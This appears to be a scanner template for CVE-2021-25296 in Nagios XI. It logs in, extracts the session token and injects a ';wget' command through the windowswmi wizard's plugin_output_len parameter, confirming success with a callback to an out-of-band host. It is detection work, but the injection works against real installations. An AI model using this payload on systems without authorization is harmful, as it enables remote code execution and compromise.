Nagios XI 5.5.6-5.7.5 - Authenticated Remote Command Injection

id: CVE-2021-25296

info:
  name: Nagios XI 5.5.6-5.7.5 - Authenticated Remote Command Injection
  author: k0pak4
  severity: high
  description: |
    Nagios XI 5.5.6 through 5.7.5 is susceptible to authenticated remote command injection. There is improper sanitization of authenticated user-controlled input by a single HTTP request via the file /usr/local/nagiosxi/html/includes/configwizards/windowswmi/windowswmi.inc.php. This in turn can lead to remote code execution, by which an attacker can execute malware, obtain sensitive information, modify data, and/or gain full control over a compromised system without entering necessary credentials.
  impact: |
    Successful exploitation of this vulnerability allows authenticated attackers to execute arbitrary commands on the target system.
  remediation: |
    Upgrade Nagios XI to a patched version or apply the vendor-supplied patch to mitigate this vulnerability.
  reference:
    - https://github.com/fs0c-sh/nagios-xi-5.7.5-bugs/blob/main/README.md
    - https://github.com/rapid7/metasploit-framework/pull/17494
    - http://nagios.com
    - https://nvd.nist.gov/vuln/detail/CVE-2021-25296
    - http://packetstormsecurity.com/files/170924/Nagios-XI-5.7.5-Remote-Code-Execution.html
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.8
    cve-id: CVE-2021-25296
    cwe-id: CWE-78
    epss-score: 0.89514
    epss-percentile: 0.98511
    cpe: cpe:2.3:a:nagios:nagios_xi:5.7.5:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 4
    vendor: nagios
    product: nagios_xi
    shodan-query: title:"Nagios XI"
  tags: cve,cve2021,packetstorm,rce,oast,authenticated,msf,nagiosxi,kev,nagios

http:
  - raw:
      - |
        GET /nagiosxi/login.php HTTP/1.1
        Host: {{Hostname}}
      - |
        POST /nagiosxi/login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        nsp={{nsp}}&pageopt=login&username={{username}}&password={{password}}
      - |
        GET /nagiosxi/index.php HTTP/1.1
        Host: {{Hostname}}
      - |
        @timeout: 20s
        GET /nagiosxi/config/monitoringwizard.php?update=1&nsp={{nsp_auth}}&nextstep=3&wizard=windowswmi&check_wmic_plus_ver=1.65&ip_address=127.0.0.1&domain=127.0.0.1&username=username&password=password&plugin_output_len=9999%3bwget%20{{interactsh-url}}%3b HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol # Confirms the DNS Interaction
        words:
          - "dns"

      - type: word
        part: body_4
        words:
          - "Event Log"
          - "Display Name"
        condition: and

      - type: status
        status:
          - 200

    extractors:
      - type: regex
        name: nsp
        group: 1
        regex:
          - "name=['\"]nsp['\"] value=['\"](.*)['\"]>"
        internal: true
        part: body

      - type: regex
        name: nsp_auth
        group: 1
        regex:
          - "var nsp_str = ['\"](.*)['\"];"
        internal: true
        part: body
# digest: 490a0046304402206666d4036d4d35dab96e894b38ad9c5edf03bd115f6e5d9e2b93663420df328c0220408cb9f27506a076cc138fa9720eb3f0fc641f9eb0b01d3742742c5bc0c07c90:922c64590222798bb761d5b6d8e72950